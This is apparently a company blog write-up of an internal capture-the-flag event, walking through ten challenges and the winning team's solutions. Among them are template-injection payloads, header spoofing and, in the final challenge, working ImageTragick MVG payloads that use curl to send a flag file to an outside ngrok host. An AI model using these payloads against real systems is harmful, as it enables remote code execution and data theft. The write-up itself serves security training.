Each challenge had a flag with the format flag{congr4tzy0ufound_1t}. <h2 id="teams-problems-and-scoring" style="position:relative;"><a href="#teams-problems-and-scoring" aria-label="teams problems and scoring permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Teams, Problems, and Scoring:</h2> The CTF 2k21 was open to all employees in Wingify and it provided a good chance for inter-departmental teams. We had around 15 teams who participated in the event though most of the participants were from the engineering team. The problems were divided into three categories: <ul> <li>Easy - 500 pts</li> <li>Medium - 1000 pts</li> <li>Hard - 1500 pts</li> </ul> The team which completes a challenge first was awarded additional points and as each team solves that challenge value of these extra points for the team decreases. Hints were available but would cost some points based on the level of difficulty. <h2 id="challenges-and-solutions" style="position:relative;"><a href="#challenges-and-solutions" aria-label="challenges and solutions permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Challenges and solutions</h2> The challenges for CTF 2K21 were named on countries with a tagline and a statement which acted as a hint for the challenges. All challenges are shared below in the entirety along with solutions from the winning team. <h3 id="1-spain---focus" style="position:relative;"><a href="#1-spain---focus" aria-label="1 spain focus permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>#1 Spain - FOCUS!!</h3> A Russian hacker left us something that allows us to track him in this image, can you find it? <div style="text-align:center; margin: 10px; width: 50%; margin: auto"> <img src="/images/2021/05/ctf-spain-question-image.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> <h4 id="solution" style="position:relative;"><a href="#solution" aria-label="solution permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Solution</h4> In this challenge, we get an image. A pitch-black image. So, it is a case of image steganography, but of what kind? There are so many ways to hide a message in an image that you can’t have a set of methods to look into to decode the message. We took two approaches: <ol> <li>Look at the binary data of the image</li> <li>Edit the image using photo editing tools</li> </ol> We found the flag the second way by the second method. On <a href="https://www.befunky.com/">https://www.befunky.com/</a>, we edited the exposure by maxing the brightness and reducing the contrast, and we found: <div style="text-align:center; margin: 10px; width: 50%; margin: auto"> <img src="/images/2021/05/ctf-spain-answer-image.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> So with the correct settings of brightness, contrast, and saturation, we found the flag. <h3 id="2-brazil---i-heard-you-are-good-at-breaking-codes-can-you-crack-this-ciphertext" style="position:relative;"><a href="#2-brazil---i-heard-you-are-good-at-breaking-codes-can-you-crack-this-ciphertext" aria-label="2 brazil i heard you are good at breaking codes can you crack this ciphertext permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>#2 Brazil - I heard you are good at breaking codes, can you crack this ciphertext?</h3> <code class="language-text">7=28LG&lt;uI3AG&#39;=&quot;~FCC%(;&quot;C&amp;N</code> <h4 id="solution-1" style="position:relative;"><a href="#solution-1" aria-label="solution 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Solution</h4> To crack this ciphertext. We first have to identify the cipher. Using <a href="https://www.dcode.fr/cipher-identifier">https://www.dcode.fr/cipher-identifier</a>, we found a list of possible ciphers. We decided to try each one of them one by one. <ol> <li>ASCII85 - has invalid characters</li> <li>Substitution Cipher - not possible without a dictionary</li> <li>ROT47 gave us the right <code class="language-text">flag{vkFxbpvVlQOurrTWjQrU}</code></li> </ol> <h3 id="3-australia---hey-ninja-hattori" style="position:relative;"><a href="#3-australia---hey-ninja-hattori" aria-label="3 australia hey ninja hattori permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>#3 Australia - Hey Ninja Hattori!</h3> Can you use your ninja skills to hack this website? Link: <a href="http://138.*.*.*:6142/home?name=Hattori">http://138.*.*.*:6142/home?name=Hattori</a> <h4 id="solution-2" style="position:relative;"><a href="#solution-2" aria-label="solution 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Solution</h4> The link provided in the problem has something to do with query param <code class="language-text">name</code>; The value passed in the query param was being printed on the served HTML. We tried putting values like CTF, flag, ctf_flag in the query param, and obviously, they did not work. It looked like a case of Server-Side Includes (SSI) Injection as the param was being executed at the server when we tried passing the value inside double braces like <code class="language-text">{{34-12}}</code>. We got some direction here. We looked for the server/templating engine used using the network requests and found the server was Python-based Werkzeug. We looked for various possible exploits to access the server. We were able to print all the environment variables using <code class="language-text">{{request.environ}}</code>, but the flag was not found there. Finally, after multiple tries, we found that the app config could also be printed using <code class="language-text">{{config.items()}}</code> and the <code class="language-text">flag{hzATagZTDGVvBpAwKKwz}</code> was hidden there. <h3 id="4-egypt--can-you-crack-this-flawless-zig-zag-ciphertext" style="position:relative;"><a href="#4-egypt--can-you-crack-this-flawless-zig-zag-ciphertext" aria-label="4 egypt can you crack this flawless zig zag ciphertext permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>#4 Egypt- Can you crack this flawless Zig-Zag ciphertext?</h3> <code class="language-text">pXgf{lxt7gwleS8NICxac30}6R</code> <h4 id="solution-3" style="position:relative;"><a href="#solution-3" aria-label="solution 3 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Solution</h4> It was a simple one for us. We looked for multiple zig-zag ciphers that were available and tried them all. We tried to use <a href="https://www.dcode.fr/cipher-identifier">https://www.dcode.fr/cipher-identifier</a> cipher-identifier here. Rail fence cipher was a suggestion (though a bit below in the list), but it was named Zig-zag, so we gave it a try. We used this decoder <a href="https://www.dcode.fr/rail-fence-cipher">https://www.dcode.fr/rail-fence-cipher</a> and a quick CMD+F on the page directly led us to the <code class="language-text">flag{wexcXlgSC3Rpx78I06tN}</code> <h3 id="5-congo---find-the-weakest-password-in-this-log-file" style="position:relative;"><a href="#5-congo---find-the-weakest-password-in-this-log-file" aria-label="5 congo find the weakest password in this log file permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>#5 Congo - Find the weakest password in this log file</h3> You know the drill!! Crack the hashes and capture the flag! Link 1: <a href="http://138.*.*.*:10007/system/login.php?username=name&#x26;password=password">http://138.*.*.*:10007/system/login.php?username=name&#x26;password=password</a> Link 2: <a href="https://drive.google.com/file/d/1QI6BVM5UCPrICNpBJX2p-q0LA8-GSLHV/view">https://drive.google.com/file/d/1QI6BVM5UCPrICNpBJX2p-q0LA8-GSLHV/view</a> <h4 id="solution-4" style="position:relative;"><a href="#solution-4" aria-label="solution 4 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Solution</h4> The question seemed very straightforward, and we thought of following what it asked. The first link just needed the correct username and password combination. The log file shared was huge. It had around 200 usernames and hashes. We quickly did some VScode keyboard shortcut sorcery to extract only hashes out of the big log file, nicely sorted and separated by a newline. We started looking for websites where we could find dictionaries of already cracked hashes. We tried multiple websites, but none of them allowed us to bulk post hashes, and we had 200 of them to try. Fortunately, we found CrackStation.net accepted 20 hashes at once, and we thought of giving it a try. Initially, none of them worked. We had already tried 120 and were losing hope, but the next batch of 120-140 had a vulnerable hash and found the password. Final Link: <a href="http://138.*.*.*:10007/system/login.php?username=wscott83&#x26;password=Password1983">http://138.*.*.*:10007/system/login.php?username=wscott83&#x26;password=Password1983</a> It worked flawlessly, and we found our <code class="language-text">flag{NwcQbRSfUXEJ3Dhz13K9}</code>. <h3 id="6-greenland---admin-has-the-power" style="position:relative;"><a href="#6-greenland---admin-has-the-power" aria-label="6 greenland admin has the power permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>#6 Greenland - Admin has the power</h3> Administrators only have the power to see the flag, can you be one? <div style="text-align:center; margin: 10px;width: 100%; margin: auto"> <img src="/images/2021/05/ctf-waf-img.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> Link: <a href="http://138.*.*.*:10007/waf/">http://138.*.*.*:10007/waf/</a> <h4 id="solution-5" style="position:relative;"><a href="#solution-5" aria-label="solution 5 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Solution</h4> When the page opened, it displayed a straight-up message that our user-agent was not acceptable. We tried changing the user agent of the requests manually to various devices but to use. Then analyzing the page headers, we found a header called Supported UA, which said <code class="language-text">Py-Requests</code>. We tried making a request using the following python script: <div class="gatsby-highlight" data-language="python"><pre class="language-python"><code class="language-python">import requests r = requests.get('http://138.*.*.*:10007/waf/') print(r.text)</code></pre></div> We got a result that only valid IP addresses are allowed, along with a list of IP addresses. Using the list, we made a new request. <div class="gatsby-highlight" data-language="python"><pre class="language-python"><code class="language-python">import requests r = requests.get('http://138.*.*.*:10007/waf/', headers={'X-Forwarded-For':'1.3.3.7'}) print(r.text)</code></pre></div> Which gave us the flag: <code class="language-text">flag{1bOYFQQ8YXDX3ZVMfz3M}</code>. <h3 id="7-japan---crack-the-code" style="position:relative;"><a href="#7-japan---crack-the-code" aria-label="7 japan crack the code permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>#7 Japan - Crack the code</h3> Mr. Robot is the only person who can view the flag! Link: <a href="http://138.*.*.*:10007/mis/index.php?source=true">http://138.*.*.*:10007/mis/index.php?source=true</a> <h4 id="solution-6" style="position:relative;"><a href="#solution-6" aria-label="solution 6 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Solution</h4> We got a PHP code, analyzing which we found we need to pass 3 query parameters to the URL - secret, username, and password. As per the PHP code, the values of these query parameters should match the following conditions: <ol> <li>Removing the ‘hellowingify’ substring from the secret query parameter value will generate ‘hellowingify’ as a remainder.</li> <li>Value for username and password query parameters should be different</li> <li>Username and password must have the same sha1 hash result.</li> </ol> We met the first condition by sending ‘hellohellowingifywingify’ string as the secret value. A simple search on the internet revealed a link where a few different strings having the same sha1 were listed. The link we used was <a href="https://3v4l.org/tT4l8">https://3v4l.org/tT4l8</a>. We copied two strings having the same sha1 from this website and sent them as username and password. The final values sent from our side: <ul> <li>secret = hellohellowingifywingify</li> <li>username = aaroZmOk</li> <li>password = aaK1STfY</li> </ul> <a href="http://138.*.*.*:10007/mis/index.php?secret=hellohellowingifywingify&#x26;username=aaroZmOk&#x26;password=aaK1STfY">http://138.*.*.*:10007/mis/index.php?secret=hellohellowingifywingify&#x26;username=aaroZmOk&#x26;password=aaK1STfY</a> This gave us the <code class="language-text">flag{zNVqGkEaWrsTxmtmcJCm}</code>. <h3 id="8-russia---the-term-hack-proof-is-a-joke" style="position:relative;"><a href="#8-russia---the-term-hack-proof-is-a-joke" aria-label="8 russia the term hack proof is a joke permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>#8 Russia - The term hack-proof is a joke!!!</h3> They say this website is hack-proof. Can you prove them wrong? Link: <a href="http://138.*.*.*:10007">http://138.*.*.*:10007</a> <h4 id="solution-7" style="position:relative;"><a href="#solution-7" aria-label="solution 7 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Solution</h4> This challenge had this single link that served a simple page. The page had an input box asking for a key. Which key? Where to find it? We had no idea. We started with analyzing the page source of the website but to no luck. We found nothing. We started going through all the network requests the website was making. Luckily, we found that the default GET call was getting an extra HTTP response header named X-Key. It was a direction, and we tried putting the header value in the input box, but it didn’t work. The header value looked like encoded in Base64, so we tried with the decoded value. It again was a partial success as the message popup just said, “Nice try.” We kept trying but, we were clueless now. One thing we noticed was that the key changed every time. We thought of retrying it using a script. We quickly wrote a script to read the header, decode it and post it back to the server. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">var main = await fetch("http://138.*.*.*:10007/"); var xkey = main.headers.get("X-Key"); var form = new FormData(); form.set("key", atob(xkey)); var res = await fetch("http://138.*.*.*:10007/index.php", { method: "POST", body: form, }); console.log(await res.text());</code></pre></div> It worked. The catch was to utilize the X-key header very fast. We had our <code class="language-text">flag{KApkMDVVCuFnLM6oYB3v}</code> in the response text. <h3 id="9-usa---are-you-good-at-reverse-engineering" style="position:relative;"><a href="#9-usa---are-you-good-at-reverse-engineering" aria-label="9 usa are you good at reverse engineering permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>#9 USA - Are you good at reverse engineering?</h3> Can you help us recover the flag from this APK file? Link: <a href="https://drive.google.com/file/d/1PwJg6M-74upIH50TaMdf5kFWj4ZXjlpb/view">https://drive.google.com/file/d/1PwJg6M-74upIH50TaMdf5kFWj4ZXjlpb/view</a> <h4 id="solution-8" style="position:relative;"><a href="#solution-8" aria-label="solution 8 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Solution</h4> This challenge had a link to an APK file, and we had to reverse engineer it to find the flag. First, we tried to unzip the APK file to check for any strings in the APK files but unzipping the APK files didn’t help much as most of the unzipped files were binary. Then we tried a tool to reverse engineer the apk. The tool we used was Apktool. This tool helped in decoding the apk and the entire code of the apk was available. Then the next thing we did was to search for any familiar strings in the apk. A simple “flag” string search led us to a url as seen below: <div style="text-align:center; margin: 10px;width: 80%; margin: auto"> <img src="/images/2021/05/ctf-usa-img1.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> We tried a simple get call to this url, but it failed. After more debugging, we found that we need to send username and password in the request body to fetch the flag. A simple “password” string search revealed an xml where the username and password value were defined: <div style="text-align:center; margin: 10px;width: 80%; margin: auto"> <img src="/images/2021/05/ctf-usa-img2.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> The final step was to send the username and password in the request body to the URL revealed in first screenshot and it returned the <code class="language-text">flag{TVbTVuKnKLonxWaKAEmb}</code>. <h3 id="10-india---alohomora" style="position:relative;"><a href="#10-india---alohomora" aria-label="10 india alohomora permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>#10 India - Alohomora</h3> Use this magical spell to unlock the doors!! Link: <a href="http://138.*.*.*:8080/">http://138.*.*.*:8080/</a> <h4 id="solution-9" style="position:relative;"><a href="#solution-9" aria-label="solution 9 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Solution</h4> By looking at the website and the description of the challenge, we knew the site was vulnerable to ImageTragick. To confirm the vulnerability, we tried sending a simple http request to our local development site using the below payload. <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">push graphic-context viewbox 0 0 640 480 fill &#39;url(https://test.com/i.jpg&quot;|setsid /bin/curl https://9902da737e4a.ngrok.io&quot;)&#39; pop graphic-context</code></pre></div> When we uploaded this mvg file, we got a http request from the vulnerable application. This confirmed that the site was vulnerable to ImageTragick and it was using a vulnerable ImageMagick package to process images. <div style="text-align:center; margin: 10px;width: 100%; margin: auto"> <img src="/images/2021/05/ctf-india-img1.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> Now in order to access the flag, we needed to know the path of the file and the name of the file. So we listed out the current working directory using the ls command and forwarded the details to our local development server(Ngrok) using Curl. <div style="text-align:center; margin: 10px;width: 100%; margin: auto"> <img src="/images/2021/05/ctf-india-img2.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> Once we knew the path and the name of the file, we uploaded a new mvg payload and grabbed the flag <code class="language-text">flag{1bOYFQQ8YXDX3ZVMfz3M}</code> from the vulnerable application. <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">push graphic-context viewbox 0 0 640 480 fill &#39;url(https://test.com/i.jpg&quot;|setsid /bin/cat flag.txt | /bin/curl -d @- https://9902da737e4a.ngrok.io&quot;)&#39; pop graphic-context</code></pre></div> <div style="text-align:center; margin: 10px; width: 100%; margin: auto"> <img src="/images/2021/05/ctf-india-img3.png" style="box-shadow: 